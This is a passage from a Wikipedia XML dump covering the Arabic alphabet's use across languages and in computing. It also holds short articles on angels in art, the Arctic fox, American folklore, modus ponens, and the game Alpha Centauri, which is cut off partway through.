* [[Urdu language|Urdu]] and [[Kashmiri language|Kashmiri]] in [[India]] (see [[List of national languages of India]]);
* [[Uyghur language|Uyghur]] (changed to Roman script in 1969 and back to a simplified, fully voweled, Arabic script in 1983), [[Kazakh language|Kazakh]] and [[Kyrgyz language|Kyrgyz]] by a minority of Kyrgyz in the [[Xinjiang Uyghur Autonomous Region]] in northwest [[China]];
* [[Malay language|Malay]] in the Arabic script known as [[Jawi]] is co-official in [[Brunei]], and used for religious purposes in [[Malaysia]], [[Indonesia]], and [[Singapore]];
* [[Comorian language|Comorian]] (Comorian) in the [[Comoros]], currently side by side with the [[Latin alphabet]] (neither is official);
* [[Hausa language|Hausa]] for many purposes, especially religious (known as ''[[Ajami script|Ajami]]'');
* [[Mandinka language|Mandinka]], widely but unofficially; (another alphabet used is [[N'Ko]])
* [[Wolof language|Wolof]] (at [[zaouia]]s), known as ''[[Wolofal]]''.
* [[Tamazight]] and other [[Berber languages]] were traditionally written in Arabic in the [[Maghreb]]. There is now a competing 'revival' of neo-[[Tifinagh]].

=== Former uses of the alphabet for other languages ===

In the past, Arabic script has also been used to represent some languages now written with a different script, such as the [[Latin alphabet]]. Most education was once religious instead of governmental and uniform within a state, so choice of script was determined by the user's religion and Muslims would use Arabic script to write any language they used. See also [[Languages of Muslim countries]].

* [[Afrikaans language|Afrikaans]] (as it was first written among the &quot;[[Cape Malay]]s&quot;);
* [[Albanian language|Albanian]];
* [[Azeri language|Azeri]] in [[Azerbaijan]] (now written in the [[Latin alphabet]] and [[Cyrillic alphabet]] scripts in [[Azerbaijan]]);
* [[Belarusian language|Belarusian]] (among ethnic [[Tatars]]);
* [[Berber languages|Berber]] in North Africa, particularly [[Tachelhit language|Tachelhit]] in [[Morocco]] (still being considered, along with [[Tifinagh]] and Latin for [[Tamazight]]);
* [[Bashkir language|Bashkir]] (for some years: from [[October Revolution]] (1917) until 1928);
* [[Bosnian language|Bosnian]] (only for literary purposes); (presently written in the [[Latin alphabet]] and [[Cyrillic alphabet]] scripts)
* [[Chagatai language|Chaghatai]] across [[Central Asia]];
* [[Chechen language|Chechen]] (for some years: from [[October Revolution]] (1917) until 1928);
* [[Chinese languages|Chinese]] and [[Dungan language|Dungan]], among the Chinese [[Hui people|Hui]] [[Muslim]]s[http://www.aa.tufs.ac.jp/~kmach/xiaoerjin/xiaoerjin-e.htm];
* [[Fulani language|Fulani]], where the script is known as [[Ajami script]];
* [[Kazakh language|Kazakh]] in [[Kazakhstan]];
* [[Kyrgyz]] in [[Kyrgyzstan]];
* [[Malay language|Malay]] in [[Malaysia]] and [[Indonesia]];
* [[Mozarabic language|Mozarabic]], when the Moors ruled Spain (and later [[Aragonese language|Aragonese]], [[Portuguese language|Portuguese]], and [[Spanish language|Spanish]] proper; see [[aljamiado]]);
* [[Nubian languages|Nubian]];
* [[Polish language|Polish]] (among ethnic [[Tatars]]);
* [[Sanskrit language|Sanskrit]] has also been written in Arabic script, though it is more well known as using [[Devanagari]] - the script also known for being currently used for writing the [[Hindi language]].
* [[Swahili language|Swahili]];
* [[Somali language|Somali]] (has used the [[Latin alphabet]] since 1972);
* [[Songhay languages|Songhay]] in West Africa, particularly in [[Timbuktu]];
* [[Tatar language|Tatar]] ([[iske imlâ]]) before 1928 (changed to Latin), reformed in 1880's, 1918 (deletion of some letters);
* [[Turkish language|Turkish]] in the [[Ottoman Empire]] was written in Arabic script until [[Mustafa Kemal Atatürk]] declared the change to [[Roman script]] in 1928. This form of Turkish is now known as [[Ottoman Turkish language|Ottoman Turkish]] and is held by many to be a different language, due to its much higher percentage of Persian and Arabic [[loanword]]s;
* [[Turkmen language|Turkmen]] in [[Turkmenistan]];
* [[Uzbek language|Uzbek]] in [[Uzbekistan]];
* All the Muslim peoples of the [[USSR]] between 1918-1928 (many also earlier), including [[Bashkir language|Bashkir]], [[Chechen language|Chechen]], [[Kazakh language|Kazakh]], [[Tajik language|Tajik]] etc.  After 1928 their script became Latin, then later Cyrillic.

== Computers and the Arabic alphabet ==

The Arabic alphabet can be encoded using several [[character set]]s, including [[ISO-8859-6]] and [[Unicode]], in the latter thanks to the &quot;Arabic segment&quot;, entries U+0600 to U+06FF. However, neither of these sets indicate the form each character should take in context. It is left to the [[rendering engine]] to select the proper [[glyph]] to display for each character.

When one wants to encode a particular written form of a character, there are extra code points provided in Unicode which can be used to express the exact written form desired. The ''Arabic presentation forms A'' (U+FB50 to U+FDFF) and ''Arabic presentation forms B'' (U+FE70 to U+FEFF) contain most of the characters with contextual variation as well as the extended characters appropriate for other languages. These effects are better achieved in Unicode  by using the ''zero width joiner'' and ''non-joiner'', as these presentation forms are deprecated in Unicode, and should generally only be used within the internals of text-rendering software, when using Unicode as an intermediate form for conversion between character encodings, or for backwards compatibility with implementations that rely on the hard-coding of glyph forms.

Finally, the Unicode encoding of Arabic is in ''logical order'', that is, the characters are entered, and stored in computer memory, in the order that they are written and pronounced without worrying about the direction in which they will be displayed on paper or on the screen. Again, it is left to the rendering engine to present the characters in the correct direction, using Unicode's [[bi-directional text]] features. In this regard, if the Arabic words on this page are written left to right, it is an indication that the Unicode rendering engine used to display them is out-of-date. For more information about encoding Arabic, consult the Unicode manual available at http://www.unicode.org/

*[http://www.nclrc.org/readings/inst-arabic3.pdf Multilingual Computing in Arabic with Windows, major word processors, web browsers, Arabic keyboards, and Arabic transliteration fonts]

===Arabic keyboard layout===
[[Image:Microsoft_Arabic_Keyboards_Madhany.png|frame|none|]]
{{Arabic alphabet}}

== See also ==
*[[Arabic calligraphy]] - considered an art form in its own right
*[[Hindu-Arabic numerals]]
*[[Arabic transliteration]]
*[[Arabic Chat Alphabet]]
*[[ArabTeX]] - provides Arabic support for [[TeX]] and [[LaTeX]]
*[[Harakat]]
*[[Jawi]] - an adapted Arabic alphabet for the [[Malay language]]
*[[South Arabian alphabet]]

== External links ==
* [http://www.declan-software.com/arabic/ Declan Software's] Arabic alphabet learning software with audio and animations
* [http://www.lexilogos.com/clavier/araby.htm online Arabic Keyboard]
* [http://www.nicoweb.com/sirpus/learn%20arabic%20course%20mp3.htm Arabic Writing and Reading never been Easier with MP3]
* [http://www.al-bab.com/arab/visual/calligraphy.htm Arab writing and calligraphy]
* [http://www.omniglot.com/writing/arabic.htm Article about Arabic alphabet]
* [http://www.islamicart.com/main/calligraphy/ Arabic alphabet and calligraphy]
* [http://members.aol.com/OlivThill/ aralpha  (freeware) to learn the characters]
* [http://www.uga.edu/islam/arabic_windows.html Guide to the use of Arabic in Windows, major word processors and web browsers]
* [http://www.theiling.de/schrift/#arabic Learn the Arabic Script Online]


----------------
''This article contains major sections of text from the very detailed article [[Arabic alphabet/from the French Wikipedia]], which has been partially translated into English. Further translation of that page, and its incorporation into the text here, are welcomed.''

[[Category:Abjad writing systems]]
[[Category:Arabic alphabet| ]]

{{Link FA|fr}}
{{Link FA|sl}}

[[ar:أبجدية عربية]]
[[ast:Alfabetu árabe]]
[[ca:Alfabet àrab]]
[[cs:Arabské písmo]]
[[cy:Yr wyddor Arabeg]]
[[de:Arabisches Alphabet]]
[[als:Arabisches Alphabet]]
[[es:Alfabeto árabe]]
[[eo:Araba alfabeto]]
[[fa:خط عربی]]
[[fr:Alphabet arabe]]
[[gl:Alfabeto árabe]]
[[he:אלפבית ערבי]]
[[hu:Arab írás]]
[[nl:Arabisch alfabet]]
[[ja:アラビア文字]]
[[no:Arabisk alfabet]]
[[nn:Det arabiske alfabetet]]
[[pl:Alfabet arabski]]
[[pt:Alfabeto árabe]]
[[ro:Alfabetul arab]]
[[ru:Арабский алфавит]]
[[sl:Arabska abeceda]]
[[sv:Arabiska alfabetet]]
[[tt:Ğäräp älifbası]]
[[zh:阿拉伯字母]]</text>
    </revision>
  </page>
  <page>
    <title>Al-Jazeerah</title>
    <id>2205</id>
    <revision>
      <id>15900637</id>
      <timestamp>2004-11-30T11:38:25Z</timestamp>
      <contributor>
        <username>Utcursch</username>
        <id>54809</id>
      </contributor>
      <minor />
      <comment>turned duplicate page into redirection</comment>
      <text xml:space="preserve">#REDIRECT [[Al Jazeerah]]</text>
    </revision>
  </page>
  <page>
    <title>Ampage</title>
    <id>2206</id>
    <revision>
      <id>15900638</id>
      <timestamp>2002-04-03T14:21:53Z</timestamp>
      <contributor>
        <ip>213.253.40.53</ip>
      </contributor>
      <comment>#REDIRECT [[Ampere]]</comment>
      <text xml:space="preserve">#REDIRECT [[Ampere]]
</text>
    </revision>
  </page>
  <page>
    <title>Angels in art</title>
    <id>2207</id>
    <revision>
      <id>32703973</id>
      <timestamp>2005-12-25T20:30:26Z</timestamp>
      <contributor>
        <username>Marudubshinki</username>
        <id>190816</id>
      </contributor>
      <minor />
      <comment>[[:en:Wikipedia:Tools/Navigation_popups|Popups]]-assisted redirection bypass from [[D.N. Angel]] to [[D.N.Angel]]</comment>
      <text xml:space="preserve">[[angel|Angels]] have appeared in works of [[art]] for millennia.
Angel-shaped beings appear in ancient [[Mesopotamian]] and [[Ancient Greece|Greek]] art and were probably the inspiration for the popular [[Christianity|Christian]] image of angels.

Angels remained a popular subject for [[Byzantine Empire|Byzantine]] and [[European]] paintings and sculpture.

Several famous examples are:

* ''The Ecstasy of [[Teresa of Avila|S. Teresa di Avila]]'' by [[Gian Lorenzo Bernini|Giovanni Lorenzo Bernini]] (http://www.boglewood.com/cornaro/xteresa.html)

* ''The Annunciation'' by [[Leonardo da Vinci]] (http://www.lairweb.org.nz/leonardo/annunciation.html)

Angels have also become an intregal part of [[Anime]] culture, particularly in [[fan art]] and [[web comics]]. 

==Contemporary works of art with angels:==

===Books===
*''[[Good Omens]]''
*''[[His dark materials]]''

===Anime and Manga===
*''[[Angel Sanctuary]]''
*''[[D.N.Angel|D.N. Angel]]''
*''[[Haibane Renmei]]''
*''[[Megatokyo]]''
*''[[Neon Genesis Evangelion]]''
*''[[Oh My Goddess!]]''
*''[[Tenshi ni Narumon]]''
*''[[The Vision of Escaflowne]]''

===Movies===
*''[[Aniol w Krakowie]]''
*''[[Barbarella]]''
*''[[Dogma (movie)|Dogma]]''
*''[[Wings of Desire]]''
*''[[City of angels]]'' (an American remake of ''Wings of Desire'')

===TV Series===
*''[[Highway to Heaven]]''
*''[[Touched by an Angel]]''

===Plays===
*''[[Angels in America]]'' (later remade as an [[HBO]] mini-series)

==Gallery==
Here are some examples of angels in art

&lt;gallery&gt;
Image:Angelsatmamre-trinity-rublev-1410.jpg
Image:Angels.jpg
Image:Abraham and the Three Angels.png
Image:St. Michael the Archangel.jpg
Image:Fouquet Madonna.jpg
Image:Jacob-angel.jpg
Image:Seraphim - Petites Heures de Jean de Berry.jpg
Image:Coventry Cathedral St Michaels Victory.jpg
Image:Giotto.mourning.750pix.jpg
Image:The Annunciation.jpg
Image:Dore-empyrean.jpg
Image:Eros-piccadilly-circus.jpg
&lt;/gallery&gt;
{{commonscat|Angels}}
[[Category:Angels]]
[[Category:Christian art]]</text>
    </revision>
  </page>
  <page>
    <title>Arctic Fox</title>
    <id>2208</id>
    <revision>
      <id>41913602</id>
      <timestamp>2006-03-02T16:04:02Z</timestamp>
      <contributor>
        <username>ContiE</username>
        <id>11061</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/67.10.154.194|67.10.154.194]] ([[User talk:67.10.154.194|talk]]) to last version by Wilmat09</comment>
      <text xml:space="preserve">{{Taxobox
| color = lime green
| name = Arctic Fox
| status = {{StatusConcern}}
| image = arcticfox.jpg
| image_width = 200px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[mammal|Mammalia]]
| ordo = [[Carnivora]]
| familia = [[Canidae]]
| genus = '''''Alopex'''''
| genus_authority = [[Johann Jakob Kaup|Kaup]], 1829
| species = '''''A. lagopus'''''
| binomial = ''Alopex lagopus''
| binomial_authority = ([[Carolus Linnaeus|Linnaeus]], [[1758]])
}}

The '''Arctic Fox''' (''Alopex lagopus'' or ''Vulpes lagopus'') is a small [[fox]] native to cold [[Arctic]] regions of the [[Northern Hemisphere]]. It is common to see an arctic fox in all three tundra biomes. Although some authorities have suggested placing them in the [[genus]] ''[[Vulpes]]'', they have long been considered the sole member of the genus ''Alopex''. Smaller, more rounded ears than red fox; braincase more rounded and muzzle slightly shorter and broader than Vulpes vulpes (Clutton-Brock et al. 1976). Occurs in two distinct colour morphs, &quot;blue&quot; and &quot;white&quot;. Each colour phase also changes seasonally &quot;blue&quot; moults from chocolate brown in summer to lighter brown tinged with blue sheen in winter. In winter, &quot;white&quot; is almost pure white, while in summer it is grey to brownish-grey dorsally, and light grey to white below. Colour morphs are determined genetically at a single locus, white being recessive. The &quot;blue&quot; morph comprises less than 1% of the population through most of its continental range, but this proportion increases westwards in Alaska, and on islands. Head-and-body length: 55 cm (male); 53 cm (female). Tail length: 31 cm (male); 3O cm (female). Shoulder height: 25-30 cm. Weight: 3.8 kg (male); 3.1 kg (female)


==Habits==
[[Image:Arcticfox-3.jpg|thumb|left|200px|Arctic Fox at Bird cliff]]
Arctic Foxes eat a wide variety of things, including [[lemming]]s, [[Arctic Hare]], [[bird]]s and their [[egg (biology)|egg]]s and [[carrions]]. The most important of these foods is lemming. A family of foxes can eat dozens of lemmings each day. During April and May, Arctic Foxes also prey on [[Ringed Seal]] pups when the young animals are confined to a snow den and are relatively helpless.Sometimes they follow polar bears and eat the left over prey.  When their normal prey is scarce, Arctic Foxes scavenge the leftovers of larger predators, such as [[Polar Bear]]s, even though Polar Bears' prey includes the Arctic Fox itself.    

The foxes tend to form [[monogamy|monogamous]] pairs in the breeding season. Litters of about half a dozen to a dozen [[whelp]]s are born in the early summer, a very large litter size for [[mammal]]s. The parents raise the young in a large [[den]].

Arctic foxes habitats are tundra and coastal areas. The white morph is generally associated with true tundra habitat, the blue more with coastal habitat.

==Population and distribution==
[[Image:Distribution arctic fox.jpg|right|thumb|200px|Distribution of the Arctic Fox]]
[[Image:Arctic fox.jpg|thumb|200px|left|An Arctic Fox]]
Arctic Foxes have a [[circumpolar]] range, meaning that they are found throughout the entire Arctic, including [[Russia]], [[Canada]], [[Nunavut]], [[Alaska]], [[Greenland]] and [[Svalbard]], as well as in sub-Arctic and alpine areas, such as [[Iceland]] and mainland alpine [[Scandinavia]]. The conservation status of the species is good, except for the Scandinavian mainland population. It is acutely endangered, despite decades of legal protection from hunting and persecution. The total population estimate in Norway, Sweden and Finland is a mere 120 adult individuals.

The abundance of Arctic Foxes tends to fluctuate in a cycle along with the population of lemmings. Because the foxes reproduce very quickly and often die young, population levels are not seriously impacted by [[trapping]]. They have, nonetheless, been eradicated from many areas where humans are settled.

The Arctic Fox is losing ground to the larger [[Red Fox]]. Historically, the [[Grey Wolf]] has kept the number of Red Foxes down, but as wolves have been hunted to near [[extinction]], the Red Fox population has grown larger, taking over the niche of top predator. In areas of northern [[Europe]] there are programs to hunt Red Foxes in the Arctic Fox's previous range.
                                                 

{{Commons|Alopex lagopus}}

[[Category:Arctic land animals]]
[[Category:Foxes]]

[[bg:Полярна лисица]]
[[da:Polarræv]]
[[de:Polarfuchs]]
[[es:Alopex lagopus]]
[[eo:Arkta vulpo]]
[[fr:Renard polaire]]
[[he:שועל שלג]]
[[lt:Poliarinė lapė]]
[[nl:Poolvos]]
[[no:Fjellrev]]
[[nn:Fjellrev]]
[[pl:Lis polarny]]
[[pt:Raposa-do-ártico]]
[[ru:Песец]]
[[sl:Polarna lisica]]
[[fi:Naali]]
[[sv:Fjällräv]]</text>
    </revision>
  </page>
  <page>
    <title>Anglo-Saxon</title>
    <id>2209</id>
    <revision>
      <id>15900641</id>
      <timestamp>2004-06-09T12:05:23Z</timestamp>
      <contributor>
        <username>G-Man</username>
        <id>8272</id>
      </contributor>
      <comment>REDIRECT [[Anglo-Saxons]]</comment>
      <text xml:space="preserve">#REDIRECT [[Anglo-Saxons]]</text>
    </revision>
  </page>
  <page>
    <title>Folklore of the United States</title>
    <id>2210</id>
    <revision>
      <id>41749619</id>
      <timestamp>2006-03-01T13:47:37Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>removing link [[Myth]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{Usculture}}

The '''folklore of the United States''', or '''American folklore''', is the folk tradition which has evolved on the [[North America|North American]] continent since [[Europe|Europeans]] arrived in the [[16th century]]. While it contains much in the way of [[Native Americans in the United States|Native American]] tradition, it should not be confused with the actual tribal beliefs of any real band, nation or community of native people. American folklore, rather, is a fusion of European ideals of &quot;civilization&quot; with a European obsession with the &quot;exotic&quot; and the &quot;savage.&quot; American folklore is essentially about immigrants and their misunderstanding of each other, and of the new landscape they found themselves conquering, and of the people that had already been there when the first European colonists arrived. 

== Founding Myths ==
The founding of the [[United States]] is often translated as myth. A [[mythology]] is simply a story of some sort which has emotional, cultural, moral or ethical value to a nation.  Taken broadly, then, American mythology can include any narrative which has contributed to the shaping of [[American values]] and belief systems.  These narratives may be true and may be false; the veracity of the stories is not a determining factor. Three founding myths include: Christopher Columbus, the Pilgrims, and George Washington.

=== Christopher Columbus ===
Though [[Christopher Columbus]] did not participate in the founding of the American government, he has been interpreted as a &quot;founder&quot; of the American nation, in that it is descended from the [[Europe]]an immigrants that would not have moved to the New World if Columbus had not found where it was.  Indeed, one particularly pervasive myth is that Columbus discovered America, as it is far easier to heroify a man than a complex series of waves of immigrants from multiple conditions and walks of life.  According to some stories, Columbus sailed across the [[Atlantic Ocean]] in order to prove that the world was round, because he expected to reach the Far East by sailing west.  Like most mythological &quot;founders&quot; Columbus' mission is then rendered entirely noble, intellectual and rational.  He helped dispel the inaccurate myths of his time, and, so, it is concluded, the nation he founded must be a nation of intellect and logic.  [[Washington Irving]] is the first citation for this myth.

=== Pilgrims ===
The holiday of [[Thanksgiving]] is said to have begun with the [[Pilgrims]] in [[1619]].  They had come to America to escape religious persecution, but then nearly starved to death due to the unfamiliar land.  Some friendly [[Native Americans in the United States|Native American]]s (including [[Squanto]]) helped the Pilgrims survive through the first winter.  The perseverance of the Pilgrims is celebrated during the annual Thanksgiving festival.  As a myth, this story relates to the founding of the culture.  The Pilgrims' dedication to their cause in spite of the hardships renders the foundation of the country, and therefore the country itself, seem stronger and more resilient.  It is also a fertility festival, similar in some ways to other harvest-time celebrations in other cultures, celebrating the nourishment that comes from the earth.  It was also said that the Pilgrims were the first colony in the New World, but before that, there were some [[France|French]] and [[Spain|Spanish]] colonies, as well as other [[England|English]] colonies.  Some English colonies in America that predated Plymouth Rock include [[Roanoke settlement]], which was later overtaken by or integrated with [[Native Americans in the United States|Native American]] tribes, and the [[Jamestown Settlement]], which was successful and predated the Pilgrims' settlement by 20 years.

=== George Washington ===
[[George Washington]], the country's first president, is often said to be the founder of the United States.  Since his death, Washington has been mythologized, with many anecdotes and stories about his life told, in general, to present the founder of the modern American nation as a just and wise [[culture hero|cultural hero]].  For example, it is said that Washington, as a young child, chopped down his father's cherry tree.  His angry father confronted the young Washington, who proclaimed &quot;I can not tell a lie&quot; and admitted to the transgression, thus illuminating his honesty.  Parson [[Mason Locke Weems]] is the first citation of the myth, in his [[1850]] book, ''The Life of George Washington: With Curious Anecdotes, Equally Honorable to Himself and Exemplary to His Young Countrymen''.  [[Samuel Clemens]] (Mark Twain) is also known to have spread the story while lecturing, personalizing it by adding &quot;I have a higher and greater standard of principle. Washington could not lie. I can lie but I won't.&quot;  Stories of national mythological value often have similar themes - that the founder of the nation, [[Deucalion]], [[George Washington]], [[Abraham]] - was a wise, virtuous and brave man.

==Tall men and their tall tales==

===Mostly mythic===
*[[Paul Bunyan]]
*[[John Henry (folklore)|John Henry]]
*[[Iron John]]
*[[John the Conqueror]]
*[[Pecos Bill]]
*[[Buffalo Bill]]
*[[Casey Jones]]

===Mostly real===
*[[Mike Fink]]
*[[Billy the Kid]]
*[[Jesse James]]
*[[Johnny Appleseed]]
*[[Kit Carson]]
*[[Davy Crockett]]
*[[Daniel Boone]]
*[[Wild Bill Hickok]]
*[[Wyatt Earp]]
*[[Doc Holliday]]
*[[Stagger Lee]]
*[[Joe Hill]]
*[[Pancho Villa]]
*[[Emperor Norton I]]
*[[Jonathan Moulton]]

==Women==
*[[Boxcar Betty]]
*[[Calamity Jane]]
*[[Harriet Tubman]]
*[[La Llorona]]
*[[Lizzie Borden]]
*[[Marie Laveau]]
*[[Maria Monk]]
*[[Molly Pitcher]] (mostly mythic)
*[[Mother Jones]]
*[[Annie Oakley]]
*[[Bonnie Parker]]
*[[Betsy Ross]]

==Native Americans==
*[[Hiawatha]]
*[[Pocahontas]]
*[[Squanto]]
*[[Geronimo]]
*[[Sacagawea]]

==Archetypes and icons==
*[[Historical Columbia|Columbia]]
*[[Cowboy]]s
*[[Entrepreneur]]s &amp; [[Robber Barons]]
*[[Gangster]]s and [[gang]]s
*[[Hacker|Hackers]]
*[[Hillbilly|Hillbillies]]
*[[Juvenile delinquency|Juvenile delinquents]]
*[[Motorcycle gang]]s like the [[Hell's Angels]]
*[[Pioneer]]s
*[[Prospector]]s
*[[Quarterback]]s
*[[Redneck]]s
*[[Statue of Liberty]]
*[[Uncle Sam]]

==Animals and creatures==
*[[Squonk]]
*[[Beast of Busco]]
*[[Bigfoot]]
*[[Jersey Devil]]
*[[Hodag]]
*[[Chupacabra]]
*[[Skunk Ape]]
*[[Nain Rouge]]
*[[Mothman]]
*[[Jackalope]]
*[[Fur-bearing trout]]
*[[Maine Coon]] cat (''real breed'')
*[[Greys]]
*[[Babe the Blue Ox]]
*[[Rabbit's foot]]

==Literature and the arts==
*[[Horatio Alger, Jr.]]
*''[[Little House on the Prairie]]''
*[[Stephen Vincent Benét]]
*[[Washington Irving]]
*[[Robert Johnson]]
*[[Edgar Allan Poe]]
*[[Norman Rockwell]]
*[[Mark Twain]]
*[[Parson Weems]]
*[[Uncle Remus]]

==History==
*[[Scalping]]
*[[California Gold Rush]]
*[[Cowboys &amp; Indians]]
*[[Ellis Island]]
*[[Hatfields and McCoys]]
*[[Indian captivity narratives]]
*[[The Noble Savage]]
*[[Norumbega]]
*[[Pony Express]]
*[[Paul Revere]]
*[[Salem Witch Trials]]
*[[Wagon train]]

==Contemporary folklore==
*[[Conspiracy theory]]
*[[Faxlore]]
*[[Legend tripping]]
*[[List of character-based movie franchises]]
*[[Skull and Bones]]
*[[Superhero]]
*''[[Star Trek]]''
*[[Urban legend]]

==Songs and games==
*[[jump rope]] rhymes
*[[stickball]] or [[sandlot ball]]
*[[counting-out game]]
*&quot;[[Oh My Darling, Clementine]]&quot;

==See also==
*[[American Dream]]
*The [[Frontier]]

==External links==
*[http://www.afsnet.org American Folklore Society]

[[Category:American culture]][[Category:American folklore|*]]

[[bg:Фолклор на САЩ]]</text>
    </revision>
  </page>
  <page>
    <title>American Folklore</title>
    <id>2211</id>
    <revision>
      <id>15900643</id>
      <timestamp>2004-03-12T16:37:01Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Folklore of the United States]]</text>
    </revision>
  </page>
  <page>
    <title>Affirming the antecedent</title>
    <id>2213</id>
    <revision>
      <id>35032214</id>
      <timestamp>2006-01-13T16:22:08Z</timestamp>
      <contributor>
        <username>Christofurio</username>
        <id>49935</id>
      </contributor>
      <comment>example of the logical fallacy</comment>
      <text xml:space="preserve">'''Affirming the antecedent''' is a valid [[argument form]] which proceeds by affirming the truth of the first part (the &quot;if&quot; part, commonly called the antecedent) of a [[conditional]], and concluding that the second part (the &quot;then&quot; part, commonly called the consequent) is true.  It is commonly referred to as [[Modus ponens]], or &quot;method of affirming.&quot;

:If ''P'', then ''Q''.
:''P''.
:Therefore, ''Q''.

In [[logical operator]] notation, this is symbolized
:&lt;math&gt; p \rightarrow q &lt;/math&gt;
:&lt;math&gt; \vdash p, &lt;/math&gt;
:&lt;math&gt; \vdash q &lt;/math&gt;

Many people assume that this works the other way as well, so that one could say:

:If ''P'' then ''Q''.
:''Q''.
:Therefore ''P''.

In [[logical operator]] notation, this is symbolized
:&lt;math&gt; p \rightarrow q &lt;/math&gt;
:&lt;math&gt; \vdash q, &lt;/math&gt;
:&lt;math&gt; \vdash p &lt;/math&gt;
where &lt;math&gt;\vdash&lt;/math&gt; represents the [[logical assertion]].

But this is a [[Logical fallacy]] called [[Affirming the consequent]]. Since ''P'' implies ''Q'', but ''Q'' does not necessarily imply ''P''. 

You can see this if we simply substitute in actual statements for ''P''. and ''Q''. 

If the electrical system has failed, then it is dark in this room.
It is dark in this room. 
So the electrical system has failed. 

One can see intuitively that the conclusion fails, even if both premises are true, because there might be plenty of other explanations for the darkness in the room. 

Sometimes ''P'' and ''Q'' entail each other, in that case we can say ''P'' if and only if ''Q''. (Sometimes the shorthand ''P'' [[iff]] ''Q'' is used rather than writing out if and only if).

[[Category:Logic]]</text>
    </revision>
  </page>
  <page>
    <title>Sid Meier's Alpha Centauri</title>
    <id>2215</id>
    <revision>
      <id>42090269</id>
      <timestamp>2006-03-03T19:37:33Z</timestamp>
      <contributor>
        <username>Urhixidur</username>
        <id>68509</id>
      </contributor>
      <comment>/* Inspirations */ Planetfall by Infocom</comment>
      <text xml:space="preserve">{{Infobox CVG
|title = Sid Meier's Alpha Centauri
|image = [[Image:Alpha_Centauri_cover.jpg|center|230px|Alpha Centauri box art]] 
|developer = [[Firaxis Games]]
|publisher = [[Aspyr]] ([[Mac OS]]);&lt;br /&gt;[[Electronic Arts]] ([[Microsoft Windows|Windows]]);&lt;br /&gt;[[Loki Software]] ([[Linux]])
|distributor =
|designer = 
|engine = 
|version = 
|released = [[1999]]
|genre = [[Turn-based]] [[strategy game|strategy]] ([[4X]])
|modes = [[Single player]]; [[multiplayer]] over [[IPX]], [[Internet protocol suite|TCP/IP]] or [[modem]]
|ratings = [[Entertainment Software Rating Board|ESRB]]: Everyone (E)
|platforms = [[Linux]] ([[DEC Alpha|Alpha]]/[[PowerPC]]/[[x86]]), [[Microsoft Windows|Windows]], [[Mac OS]]
|media = [[Compact Disc|CD]] (1)
|requirements = [[Intel Pentium|P]]133 MHz [[Central processing unit|CPU]], 16MB [[Random Access Memory|RAM]], 60MB [[Hard disk|HD]]
|input = [[Computer keyboard|Keyboard]], [[Computer mouse|mouse]]
}}
'''''Sid Meier's Alpha Centauri''''' (sometimes abbreviated to '''SMAC''') is a [[turn-based game|turn-based]] [[strategy game|strategy]] [[4X]] [[computer game]] created by [[Brian Reynolds]] and [[Sid Meier]] under the auspices of [[Firaxis Games]] in [[1999]]. It is based on a hypothetical attempt by human beings to [[Space colonization|colonize]] a planet in the [[Alpha Centauri|Alpha Centauri star system]]. It picks up where the games [[Civilization (computer game)|''Sid Meier's Civilization I'' &amp; ''II'']] left off.  An expansion pack, ''[[Sid Meier's Alien Crossfire]]'' (aka '''SMACX''' or just '''SMAX''') was later released.  Both -- the original Sid Meier's Alpha Centauri and the Sid Meier's Alien Crossfire expansion pack -- were later released in a combined edition called a &quot;Planetary Pack.&quot;

==Storyline== 
According to the storyline of the game, [[Earth]] has destroyed itself through [[war]], [[disease]], [[famine]], and other [[catastrophe]]s. The [[United Nations]] manages to launch a colonization [[starship]], the ''Unity'', to [[Alpha Centauri]], where an Earth-like planet, Chiron (often just called &quot;Planet&quot;), has been discovered; it is hoped that the best and brightest of mankind aboard the ''Unity'' can build a perfect civilization there. 

As the ''Unity'' approaches Alpha Centauri, a malfunction occurs, waking the top [[Officer (armed forces)|officers]] from suspended animation. During the crew's attempt to repair the damage, the commander, Captain Garland, is assassinated. Due to the critical damage of the ''Unity'', the ship's seven top officers each, together with likeminded crewmembers, lay claim to an escape pod and land on Chiron. These seven, with their conflicting personalities and ideologies, then begin to build seven seperate [[society|societies]] according to those ideologies - leading humanity once again to [[faction]]alism and war.

(Note: The game's intro video depicts an eighth escape pod separating from the ''Unity'', only to explode shortly thereafter, though there is no mention of an eighth faction at any point in the game.)

==Game play==
[[Image:SMACx-DiploScreenshot1.jpg|thumb|right|Alpha Centauri screenshot]]
Within the game, the player assumes the role of one of the seven [[Political faction|faction]] leaders and attempts to expand their colony and achieve victory. Players engage themselves in a race against the other factions, and are free to adopt any number of strategies in pursuit of their goal. Scientific discoveries within the game determine what technologies are available to particular factions, which in turn determines what facilities and units they can build at their colony bases. Unlike the previous [[Civilization (computer game)|Civilization]] games and [[Civilization III]], ''Alpha Centauri'' allows the player to fully customize units. [[Civilization IV]] expanded on this system. 

Also, while not unique in this regard, ''Alpha Centauri'' is an unusual civilization-building game because it is open-ended and has multiple, customizable parameters for victory. The player can choose to work toward a victory based on [[diplomacy]], [[economics]], [[conquest]], or [[transcendence (philosophy)|transcendence]].

===The Datalinks===
A crucial part of the game is the Datalinks, an information system that contains any and all information that you may need. It is similar to Civilization's Civilopedia. Most important is the tech tree, which shows a complete system of all technologies available in the game, along with prerequisite technologies and all benefits the technology gives (new chassis, weapon, armor, reactor, or special ability types, along with new former abilities, base facilities and secret projects, bonuses to xenofungus squares, social engineering choices, etc.) In all technology trades the game allows you to consult the Datalinks to find exactly what is being offered (or demanded).

In addition, the Datalinks store the quotes involved with all technologies, base facilities, and secret projects. Many Alpha Centauri fans enjoy the quotes in particular and the thought behind them. The game's creators did an excellent job of developing the personality and ideology of all the faction leaders through these quotes, as well as thoughts on human psychology. For instance, the Virtual World secret project is accompanied by Chairman Yang's view that reality is only what you perceive it to be, while Provost Zakarov denounces the general simplistic views on genetics when such technologies are discovered.

===Terrain===
